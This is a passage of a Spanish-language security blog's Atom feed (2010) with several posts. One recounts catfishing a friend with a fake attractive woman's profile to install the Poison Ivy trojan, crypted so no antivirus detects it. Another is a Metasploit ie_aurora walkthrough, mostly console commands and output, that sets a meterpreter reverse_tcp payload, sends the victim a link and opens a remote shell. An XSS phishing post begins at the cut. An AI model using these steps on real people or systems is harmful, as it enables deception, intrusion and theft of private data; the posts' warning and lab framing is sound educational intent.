/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3033556179367310295?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3033556179367310295/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/03/kubuntu-wicd-prowireless-3945abg-intel.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3033556179367310295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3033556179367310295'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/03/kubuntu-wicd-prowireless-3945abg-intel.html' title='Kubuntu + wicd + PRO/Wireless 3945ABG Intel'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5_2K1IMZYI/AAAAAAAAAJ0/Xmgi_nmmC1I/s72-c/tux-kubuntu.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-653595335593203035</id><published>2010-03-07T19:19:00.000-08:00</published><updated>2010-03-07T22:55:03.927-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad Informatica'/><category scheme='http://www.blogger.com/atom/ns#' term='Ingenieria Social'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Troyano'/><title type='text'>Peligro Ingenieria Social</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5R-3gKkcqI/AAAAAAAAAJc/W3Q4eHr0CMQ/s1600-h/imag_218_anzuelo.jpg"&gt;&lt;img style="cursor: pointer; width: 320px; height: 314px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5R-3gKkcqI/AAAAAAAAAJc/W3Q4eHr0CMQ/s320/imag_218_anzuelo.jpg" alt="" id="BLOGGER_PHOTO_ID_5446117341389943458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Bueno despues de un tiempo sin postear vuelvo con un temita que esta interesante, y es muy amplio, el cual es la &lt;a href="http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29"&gt;Ingeniería Social.&lt;/a&gt; Este ataque es tan poderoso como un 0 day, pero veamos un poco para lo que no saben de que se trata y para los que saben mostrarle un caso real.&lt;br /&gt;La cuestión principal de este post no es solo informar si no alarmar y que después de esto no estén tan seguros de tener un AV actualizado con todas las firmas al día, prevenirse ya que en Internet uno no sabe quien es el que esta del otro lado de la PC :).&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-style: italic;"&gt;Según mi visión &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;¿&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-style: italic;"&gt;Que es la Ingeniería So&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-style: italic;"&gt;cial?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;La Ingeniería Social es una técnica la cual consiste en poder engañar a una persona haciéndose pasar por: una persona de confianza de la víctima, una persona al cual le gustaría conocer, una persona atractiva, una persona importante para la víctima, haciéndose pasar por la víctima etc etc etc ... con el objetivo de poder entrar en su espacio de confianza y sacar información confidencial como sus contraseñas, documentos, archivos etc. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Comenzando&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Creo que unas de las formas mas fáciles de engañar a un hombre es haciéndose pasar por una mina que este buena, muy buena :p. Los pasos son fáciles se consigue fotos de una chica en particular, un facebook y un correo. Esto es la técnica del engaño así que a imaginarse.!!&lt;br /&gt;&lt;br /&gt;Ahora podemos preparar algo como un buen troyano (en este ejemplo el Poison Ivy) pasado por un crypter para que quede indetectable, las imagenes siguientes muestran el antes y el después del Crypter..&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;span style="font-size:130%;"&gt;Antes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S5RzYelXwdI/AAAAAAAAAI8/ooLY-WYCOmk/s1600-h/sincripter.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 170px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S5RzYelXwdI/AAAAAAAAAI8/ooLY-WYCOmk/s320/sincripter.JPG" alt="" id="BLOGGER_PHOTO_ID_5446104713761636818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);font-size:180%;" &gt;&lt;span style="text-decoration: underline;"&gt;&lt;span style="font-weight: bold;"&gt;Despues&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5RznpGwY3I/AAAAAAAAAJE/65agqcAMlS8/s1600-h/Concripter.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 170px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5RznpGwY3I/AAAAAAAAAJE/65agqcAMlS8/s320/Concripter.JPG" alt="" id="BLOGGER_PHOTO_ID_5446104974284055410" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora vean como un troyano tan conocido no es detectable por ninguno de los AV, ahora uds se imaginaran los seguros que deben estar con AV, pues es una herramienta mas que tiene que acoplarse a todo el proceso de seguridad, pero no es la salvación segura.&lt;br /&gt;Fijense el grado de peligrosidad, no es solo una cuestión de ver las letras verdes, si no a lo expuesto que estamos al no tener conocimientos de estas cosas, y esto es solo la punta del iceberg.!!!&lt;br /&gt;&lt;br /&gt;Ahora como nuestra víctima no pudo con su genio de ganador, empezó a caer en el histeriqueo propio de una chica adolecente!! ( Vale aclarar que la victima ah sido un amigo, y el nunca sabia de todo el trabajo que habia atras, obviamente despues le comente que eh sido yo.!! Casi pierdo su Amista!! ja naaa..! ). Veamos la conversacion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S5SB_LnV5mI/AAAAAAAAAJk/JOzLvnDuGM4/s1600-h/charla1.JPG"&gt;&lt;img style="cursor: pointer; width: 320px; height: 256px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S5SB_LnV5mI/AAAAAAAAAJk/JOzLvnDuGM4/s320/charla1.JPG" alt="" id="BLOGGER_PHOTO_ID_5446120771847317090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Creo que la imagen lo dice todo, un buen acceso a su maquina mediante el troyano, mas el peligro que esto acarrea robos de sus cuentas, de sus archivos, robo de lo mas importante la INTIMIDAD, hablando de INTIMIDAD de lo que es nuestro no de mi novia, mujer etc.&lt;br /&gt;No espero como dije al principio que este articulo sea una forma solo de informar si no tambien de alertar y aportar algo de conocimientos con uds, por que a cualquiera nos puede pasar esto, entre otras cosas..!&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo dejo los 4 items que segun &lt;a href="http://es.wikipedia.org/wiki/Kevin_Mitnick"&gt;Kevin Mitnick&lt;/a&gt; la Ingenieria Social tiene exito&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;1. Todos queremos ayudar.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;br /&gt;2. El primer movimiento es siempre de confianza hacia el otro.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;   3. No nos gusta decir No.&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;br /&gt;4. A todos nos gusta que nos alaben.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-653595335593203035?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/653595335593203035/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/03/peligro-ingenieria-social.html#comment-form' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/653595335593203035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/653595335593203035'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/03/peligro-ingenieria-social.html' title='Peligro Ingenieria Social'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DI2yEVgm8Qk/S5R-3gKkcqI/AAAAAAAAAJc/W3Q4eHr0CMQ/s72-c/imag_218_anzuelo.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3122668027118199180</id><published>2010-02-09T19:30:00.001-08:00</published><updated>2010-02-09T21:50:40.270-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iexplorer'/><category scheme='http://www.blogger.com/atom/ns#' term='laboratorio'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Reverse'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Laboratorio -- Metasploit - Exploit ie_aurora</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S3JGl-Av-nI/AAAAAAAAAHY/fMQRxn3s4zM/s1600-h/odio_ie.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 259px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S3JGl-Av-nI/AAAAAAAAAHY/fMQRxn3s4zM/s320/odio_ie.gif" alt="" id="BLOGGER_PHOTO_ID_5436485318304856690" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bueno creo que todos deben conocer del 0 day que tanto se hablo en estos ultimos tiempos sobre IE, lo que lograba un BOF pudiendo inyectar codigo arbitrario obteniendo una shell, aunque no todos son vulnerables hay una tablita que muestra que tan bien estan parados algunas versiones de windows conjuntamente con la version de IE, mas ahora sabiendo que los antivirus lo detectan..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Y2uWeGSk9Sw/S1LQQv4OlBI/AAAAAAAAFuQ/_3JveuSxmeY/s1600/IE8_1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 590px; height: 270px;" src="http://1.bp.blogspot.com/_Y2uWeGSk9Sw/S1LQQv4OlBI/AAAAAAAAFuQ/_3JveuSxmeY/s1600/IE8_1.png" alt="" border="0" /&gt;&lt;/a&gt;                                Imagen de &lt;a href="http://elladodelmal.blogspot.com/"&gt;http://elladodelmal.blogspot.com/&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;El laboratorio se compone por una Virtual Machin ( VirtualBox, en el proximo post voy a explicar como intalarlo con yapa de Hacking! ) que tiene intalado un Windows XP SP3 con internet explorer Version 6.0, el cual es totalmente vulnerable. Por suerte es muy raro encontrar clientes navegando con esa version, pero .... :). Je..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S3IvbFgnwdI/AAAAAAAAAHI/vPcoVbHlmbA/s1600-h/cuadrado6.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S3IvbFgnwdI/AAAAAAAAAHI/vPcoVbHlmbA/s320/cuadrado6.jpeg" alt="" id="BLOGGER_PHOTO_ID_5436459842571583954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Comenzando&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primero entonces nesesitamos el metasploit, lo podemos descargar desde &lt;a href="http://www.metasploit.com/framework/download"&gt;aqui&lt;/a&gt;, busquen su arquitectura para linux hay de 32 bit y 64 bit (Yo me descargue este&lt;span style="font-weight: bold;"&gt; framework-3.3.3-linux-x86_6&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;4.run&lt;/span&gt;), tambien esta para windows pero el ultimo que baje no tenia el exploit &lt;span style="font-weight: bold;"&gt;aurora&lt;/span&gt;, pero se le puede agregar descargando el archivo con estension rb y colocarlo en la carpeta de exploit/windows/browser que seria lo ideal. &lt;a href="http://www.metasploit.com/redmine/projects/framework/repository/revisions/8136/entry/modules/exploits/windows/browser/ie_aurora.rb"&gt;Aqui el exploit&lt;/a&gt;.&lt;br /&gt;Una vez intalado el metasploit, y que todo haya salido bien ( En linux nesesitamos intalar ruby  ), nos dirigimos a la consola de metasploit.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/home/usuario# msfconsole&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 250px; text-align: left;"&gt;                                  _       _&lt;br /&gt;_                   | |     (_)_&lt;br /&gt;____   ____| |_  ____  ___ ____ | | ___  _| |_&lt;br /&gt;|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)&lt;br /&gt;| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__&lt;br /&gt;|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)&lt;br /&gt;       |_|&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=[ metasploit v3.3.4-dev [core:3.3 api:1.0]&lt;br /&gt;+ -- --=[ 320 exploits - 99 auxiliary&lt;br /&gt;+ -- --=[ 217 payloads - 20 encoders - 6 nops&lt;br /&gt;=[ svn r8438 updated yesterday (2010.02.09)&lt;br /&gt;&lt;br /&gt;msf &gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Una vez dentro de la consola de Metasploit, tenemos que elegir el exploit a utilizar&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 400px; text-align: left;"&gt;msf &gt; &lt;span style="font-weight: bold;"&gt;use windows/browser/ie_aurora&lt;/span&gt;&lt;br /&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name        Current Setting  Required  Description&lt;br /&gt;----        ---------------  --------  -----------&lt;br /&gt;SRVHOST     0.0.0.0          yes       The local host to&lt;br /&gt;listen on.&lt;br /&gt;SRVPORT     8080             yes       The local port to listen on.&lt;br /&gt;SSL         false            no        Negotiate SSL for incoming connections&lt;br /&gt;SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;br /&gt;URIPATH                      no        The URI to use for this exploit (default is random)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Automatic&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;Una vez cargado el exploit con el comando &lt;span style="font-weight: bold;"&gt;use&lt;/span&gt;, podemos ver los argumentos que nesesita el exploit para poder funcionar con el comando &lt;span style="font-weight: bold;"&gt;show options&lt;/span&gt;.&lt;br /&gt;Usaremos un PAYLOAD de reverse shell, para ello colocamos lo que sigue.&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 50px; text-align: left;"&gt; msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/reverse_tcp&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/div&gt;Bien empezamos a llenar los argumentos tanto del Payload como del EXPLOIT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 500px; text-align: left;"&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set LHOST 190.18x.xxx.xxx&lt;/span&gt;&lt;br /&gt;LHOST =&gt; 190.18x.xx.xxx&lt;br /&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;set URIPATH /&lt;/span&gt;&lt;br /&gt;URIPATH =&gt; /&lt;br /&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name        Current Setting  Required  Description&lt;br /&gt;----        ---------------  --------  -----------&lt;br /&gt;SRVHOST     0.0.0.0          yes       The local host to listen on.&lt;br /&gt;SRVPORT     8080             yes       The local port to listen on.&lt;br /&gt;SSL         false            no        Negotiate SSL for incoming connections&lt;br /&gt;SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;br /&gt;URIPATH     /                no        The URI to use for this exploit (default is random)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/reverse_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description&lt;br /&gt;----      ---------------  --------  -----------&lt;br /&gt;EXITFUNC  process          yes       Exit technique: seh, thread, process&lt;br /&gt;LHOST     190.18x.xx.xxx   yes       The local address&lt;br /&gt;LPORT     4444             yes       The local port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name&lt;br /&gt;--  ----&lt;br /&gt;0   Automatic&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;En la pantalla se ve como se setearon los valores cargados LHOST vendria a ser la ip del atacante. Largamos el exploit&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 150px; text-align: left;"&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;exploit&lt;/span&gt;&lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt;&lt;br /&gt;[*] Started reverse handler on 190.18x.xx.xxx:4444&lt;br /&gt;[*] Using URL: http://0.0.0.0:8080/&lt;br /&gt;[*]  Local IP: http://190.18x.xx.xxx:8080/&lt;br /&gt;[*] Server started.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;El servidor lo tengo corriendo en la IP del argumento LHOST en el puerto 8080 y tendremos una reverse shell por el puerto 4444 :).&lt;br /&gt;Ahora mandamos el enlace a la victima, y esperamos que ingrese.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S3I-BO296lI/AAAAAAAAAHQ/k4HMs2COcsU/s1600-h/cuadrado7.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S3I-BO296lI/AAAAAAAAAHQ/k4HMs2COcsU/s320/cuadrado7.jpeg" alt="" id="BLOGGER_PHOTO_ID_5436475891079047762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Veamos nuestra consola de metasploit :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 150px; text-align: left;"&gt;[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 190.18x.xx.xxx&lt;br /&gt;[*] Sending stage (725504 bytes)&lt;br /&gt;[*] Meterpreter session 1 opened (190.18x.xx.xxx:4444 -&gt; 190.18x.xx.xxx:51513)&lt;br /&gt;sessions -l&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Id  Description  Tunnel&lt;br /&gt;--  -----------  ------&lt;br /&gt;1   Meterpreter  190.18x.xx.xxx:4444 -&gt; 190.18x.xx.xxx:51513&lt;br /&gt;&lt;br /&gt;msf exploit(&lt;span style="color: rgb(204, 0, 0);"&gt;ie_aurora&lt;/span&gt;) &gt; &lt;span style="font-weight: bold;"&gt;sessions -i 1&lt;/span&gt;&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;sysinfo&lt;/span&gt;&lt;br /&gt;Computer: VICTIMA&lt;br /&gt;OS      : Windows XP (Build 2600, Service Pack 3).&lt;br /&gt;Arch    : x86&lt;br /&gt;Language: es_ES&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;Vemos que tenemos la session con la victima, que tiene un Windows XP SP3.&lt;br /&gt;Ahora vamos a la shell remota que es lo mejor :)&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 150px; text-align: left;"&gt;meterpreter &gt; &lt;span style="font-weight: bold;"&gt;shell&lt;/span&gt;&lt;br /&gt;Process 812 created.&lt;br /&gt;Channel 1 created.&lt;br /&gt;Microsoft Windows XP [Versi�n 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Victima 10\Escritorio&gt;&lt;span style="font-weight: bold;"&gt;hostname&lt;/span&gt;&lt;br /&gt;hostname&lt;br /&gt;victima&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Victima 10\Escritorio&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Solucion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Navegar con un antivirus para este exploit seria lo mejor el NOD32 lo detecta y no deja inyectar, tambien no usar un IE explorer anticuado asi como el 6.x que fue hecho en esta POC. Mientras pasen cosas parecidas dejar de utilizar el software defectuoso hasta que la Empresa propietaria del mismo largue el parche, para cada programa siempre hay otro que realiza la misma accion, pudiendo elegirlo a ese temporarlmente.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias&lt;/span&gt;:&lt;br /&gt;&lt;a href="http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html"&gt;http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html"&gt;http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3122668027118199180?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3122668027118199180/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/02/laboratorio-metasploit-exploit-ieaurora.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3122668027118199180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3122668027118199180'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/02/laboratorio-metasploit-exploit-ieaurora.html' title='Laboratorio -- Metasploit - Exploit ie_aurora'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/S3JGl-Av-nI/AAAAAAAAAHY/fMQRxn3s4zM/s72-c/odio_ie.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-104354705474616915</id><published>2010-02-01T09:54:00.000-08:00</published><updated>2010-02-01T13:43:02.319-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Pishing a través de XSS (POC Luis A. Cuadrado)</title><content type='html'>Bueno como anda muy de moda todo lo que es &lt;a href="http://es.wikipedia.org/wiki/Cross-site_scripting"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;XSS&lt;/span&gt;&lt;/a&gt;, y la cantidad de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;sites&lt;/span&gt; 